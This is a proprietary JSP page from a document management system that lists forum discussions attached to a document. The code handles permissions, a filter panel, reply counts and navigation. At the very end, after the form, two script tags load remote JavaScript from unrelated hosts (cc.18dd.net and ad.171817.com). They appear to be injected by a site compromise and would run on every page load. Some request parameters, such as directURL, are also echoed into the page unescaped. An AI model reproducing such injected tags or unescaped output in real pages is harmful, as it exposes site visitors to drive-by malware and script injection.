<%
/*
 * @(#)ListDmsForum.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsForum.jsp

  This is a ListDmsForum page.

    @author             Rollo Chan
    @company            DCIVision Ltd
    @creation date      13/08/2003
    @version            $Revision: 1.43.2.18 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.alert.dao.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.dao.*"%>
<%@ page import="com.dcivision.forum.web.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsForumForm" scope="request" class="com.dcivision.forum.web.ListForumGroupDetailForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "forumGroupDetailList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"forum.columnheader.discussion_topic", "TOPIC"},
                                                        {"forum.columnheader.discussion_author", "CREATOR_ID"},
                            {"common.columnheader.create_date", "CREATE_DATE"},
                            {"forum.columnheader.discussion_read", "NUM_OF_READS"},
                            {"forum.columnheader.discussion_replies", GlobalConstant.NOT_AVAILABLE},
                            {"forum.columnheader.discussion_last_reply_by", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"forum.columnheader.discussion_topic", "TOPIC"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   ForumManager forumManager = new ForumManager(sessionContainer, conn);
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);

    String objectID  = listDmsForumForm.getObjectID()==null? request.getParameter("objectID")==null? "" : (String) request.getParameter("objectID"):(String)listDmsForumForm.getObjectID();
    String objectType = listDmsForumForm.getObjectType()==null? request.getParameter("objectType")==null? "" : (String) request.getParameter("objectType"):(String)listDmsForumForm.getObjectType();
    List  updateAlertTypeList = new ArrayList();
    //Parameters used for DMS
    String rootID  = listDmsForumForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)listDmsForumForm.getRootID();
    String docParentID = listDmsForumForm.getDocParentID()==null? request.getParameter("docParentID")==null? "" : (String) request.getParameter("docParentID"):(String)listDmsForumForm.getDocParentID();
    String curFunctionCode = listDmsForumForm.getCurFunctionCode()==null? request.getParameter("curFunctionCode")==null? "" : (String) request.getParameter("curFunctionCode"):(String)listDmsForumForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");
    String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : listDmsForumForm.getDirectURL();

    DmsDocument document = new DmsDocument();
    DmsDocument documentRoot = new DmsDocument();
    UpdateAlertDAObject updateAlertDAO = new UpdateAlertDAObject(sessionContainer, conn);
    UpdateAlertTypeDAObject updateAlertTypeDAO = new UpdateAlertTypeDAObject(sessionContainer, conn);
    if (!Utility.isEmpty(objectID) && !Utility.isEmpty(objectType)){
      //get the name for object id
      if (GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)) {
        document = docRetrievalManager.getDocument(new Integer(objectID));

        if(Utility.isEmpty(rootID)){
          rootID =TextUtility.formatIntegerObj(document.getRootID());
        }

        documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(document.getRootID());
        if (Utility.isEmpty(permission)){
          PermissionManager permissionManager = sessionContainer.getPermissionManager();
          permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, new Integer(objectID));
        }
      }
    }

    String functionType = "forum.label.document_discussion_forum";

    String homePageFunctionCode="";
   if (Utility.isEmpty(curFunctionCode) || "null".equals(curFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(curFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument docRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(docRoot.getDocumentName())) {
      curFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      curFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }

    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, curFunctionCode);
   }
   if(!Utility.isEmpty(objectID)){
     if(updateAlertDAO.getByObjectTypeObjectID( objectType,TextUtility.parseIntegerObj(objectID))!=null){
       UpdateAlert updateAlert = (UpdateAlert) updateAlertDAO.getByObjectTypeObjectID( objectType,TextUtility.parseIntegerObj(objectID));
       updateAlertTypeList =  updateAlertTypeDAO.getByUpdateAlertIDByOwnerID(updateAlert.getID(),null);
     }
   }

  String returnTop = request.getParameter("returnTop");
  String returnTo = listDmsForumForm.getReturnTo();
   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop) ){
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
        if (Utility.isEmpty(returnTo)){
            returnTo = returnTo + "&returnTo=" + returnTop;
            listDmsForumForm.setReturnTo(returnTo);
        }
  }
   
   String returnURL="";
   if(Utility.isEmpty(listDmsForumForm.getReturnTo()) || listDmsForumForm.getReturnTo().equals("null")){
     if(Utility.isEmpty(homePageFunctionCode)){
       if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
         returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+docParentID;
       }else {
           returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+docParentID+"&Return=Y";
       }
     }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
       returnURL=request.getContextPath()+"/Home.do";
       }
   }else{
     returnURL=listDmsForumForm.getReturnTo();
   }
%>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsForum" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="objectType"/>
<html:hidden property="objectID"/>
<html:hidden property="rootID"/>
<html:hidden property="docParentID"/>
<html:hidden property="curFunctionCode"/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>
<%try{%>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
    <layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
    <%
        if(updateAlertTypeList.size() > 0){
            for(int i=0;i<1;i++){
                UpdateAlertType updateAlertType=(UpdateAlertType)updateAlertTypeList.get(i);
                if(UpdateAlert.DISCUSS_ACTION.equals(updateAlertType.getActionType())){
    %>
    <html:colheaderButton label="common.label.new" link='<%="MaintDmsForum.do?objectType="+GlobalConstant.OBJECT_TYPE_DOCUMENT+"&objectID="+objectID+"&docParentID="+docParentID+"&rootID="+rootID+"&curFunctionCode="+curFunctionCode+"&permission="+permission%>'/>
    <%      }else{%>
    <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.new" right='U' objectType='D' objectID='<%=document.getID()%>' link='<%="MaintDmsForum.do?objectType="+GlobalConstant.OBJECT_TYPE_DOCUMENT+"&objectID="+objectID+"&docParentID="+docParentID+"&rootID="+rootID+"&curFunctionCode="+curFunctionCode+"&permission="+permission%>'/>
    <%      }
            }
        }else{
    %>
    <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.new" right='U' objectType='D' objectID='<%=document.getID()%>' link='<%="MaintDmsForum.do?objectType="+GlobalConstant.OBJECT_TYPE_DOCUMENT+"&objectID="+objectID+"&docParentID="+docParentID+"&rootID="+rootID+"&curFunctionCode="+curFunctionCode+"&permission="+permission%>'/>
    <%
        }
        if(updateAlertTypeList.size() > 0){
            for(int i=0;i<1;i++){
                UpdateAlertType updateAlertType=(UpdateAlertType)updateAlertTypeList.get(i);
                if(UpdateAlert.DISCUSS_ACTION.equals(updateAlertType.getActionType())){%>
    <html:colheaderButton label="common.label.delete" onClick="return OpListDelete(listDmsForumForm)"/>
    <%      }else{%>
    <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.delete" right='U' objectType='D' objectID='<%=document.getID()%>' onClick="return OpListDelete(listDmsForumForm)"/>
    <%      }
            }
        }else{
    %>
    <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" label="common.label.delete" right='U' objectType='D' objectID='<%=document.getID()%>' onClick="return OpListDelete(listDmsForumForm)"/>
    <%}%>
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType'>
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='forum.columnheader.document_discussion_topic'/>
                </td>
                <td class="filterPanelItem" nowrap></td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
            <tr>
                <td class="filterPanelItem" nowrap><bean:message key="forum.columnheader.document_discussion_reference_name"/></td>
                <td class="filterPanelItem" nowrap>
                <%if (!Utility.isEmpty(objectID)) {%>
                <nobr>&nbsp;<dms:documentInfo docObject='<%=(DmsDocument)document%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/></nobr>
                <%}%>
                </td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
            <%if (!Utility.isEmpty(objectID) && GlobalConstant.OBJECT_TYPE_DOCUMENT.equals(objectType)) {%>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <bean:message key='dms.label.location'/>
                </td>
                <td nowrap>
                <dms:locationPath parentID="<%=document.getParentID()%>" rootID="<%=document.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
                </td>
                <td class="filterPanelItem" nowrap></td>
            </tr>
            <%}%>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsForumForm, '${listDmsForumForm.sortAttribute}', '${listDmsForumForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsForumForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsForumForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsForumForm.getSortAttribute()%>" sortOrder="<%=listDmsForumForm.getSortOrder()%>" copyColumn="false" editLabel=""/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsForum" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsForum).getID()%>);">
    <td align="center">
      <%if (((ForumGroupDetail)dmsForum).getCreatorID().equals(sessionContainer.getUserRecordID())) {%>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsForum' property='ID'/>" onclick="return(false);">
      <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      <%}%>
    </td>
    <td align="center">
      <%String alwaysOnTop = ((ForumGroupDetail)dmsForum).getAlwaysOnTop();
        if ("Y".equals(alwaysOnTop)){ %>
          <html:img src='IconAlwaysOnTop.gif'  align='absmiddle'/>
        <%}%>
    </td>
    <td width="450">
      <a href="MaintDmsForum.do?showReplyList=Y&navMode=V&ID=<bean:write name='dmsForum' property='ID'/>&objectID=<bean:write name='dmsForum' property='objectID'/>&objectType=<bean:write name='dmsForum' property='objectType'/>">
      <bean:write name='dmsForum' property='topic'/></a>
    </td>
        <td class="bodyVerySmall" nowrap="nowrap">
      <bean:write name='dmsForum' property='creatorName'/><br>
        </td>
    <td class="bodyVerySmall" nowrap>
      <bean:write name='dmsForum' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/>
    </td>
    <td><bean:write name='dmsForum' property='reads'/></td>
    <td><%Integer replyTotal = (Integer) forumManager.getReplyTotal(((ForumGroupDetail)dmsForum).getID());   %>
    <%=TextUtility.formatNumberWithZeroPrefix(0, replyTotal, true)%>
    </td>

    <td class="bodyVerySmall" nowrap>
      <%ForumGroupDetail lastestReply = (ForumGroupDetail) forumManager.getLastestReplied(((ForumGroupDetail)dmsForum));   %>
      <%if (lastestReply!=null) {%>
        <a href='mailto:<%=UserInfoFactory.getUserEmailAddress(lastestReply.getCreatorID())%>'><nobr><%=lastestReply.getCreatorName()%></nobr></a><br>
        <%=TextUtility.formatTimestamp(lastestReply.getCreateDate())%>
        <a href="MaintDmsForum.do?opMode=<%=ForumOperationConstant.FOURM_REPLY%>&ID=<%=lastestReply.getID()%>&objectType=<%=lastestReply.getObjectType()%>&objectID=<%=lastestReply.getObjectID()%>">
        <html:img src='IconForumReply.gif'  alt="Reply to this message" />
        </a>
      <%}else{%>
        -
      <%}%>
    </td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsForumForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

<%}catch (Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>
<!--joan.xiong add code for bug EIP-1458 by 2007/01/22-->
<script>
  function clipbordInvite(docID){
    try{
        var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
        var ni = document.createElement("iFrame");
        ni.setAttribute("src",url);
        ni.setAttribute("scrolling","yes");
        ni.setAttribute("frameborder","no");
        ni.setAttribute("width","100%");
        ni.setAttribute("height","100%");
        ni.setAttribute("id","ifram1");
        document.getElementById("NewDocumentInvitation").appendChild(ni);
        document.getElementById("NewDocumentInvitation").style["display"]="";

        var loadFrame = document.getElementById("NewDocumentInvitation");

        loadFrame.style.width="780";
        loadFrame.style.height = "600";
        loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
        loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
        DimBackgroud(null,false);
    }catch(e){}

  }
</script>
<!--joan.xiong add code end-->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>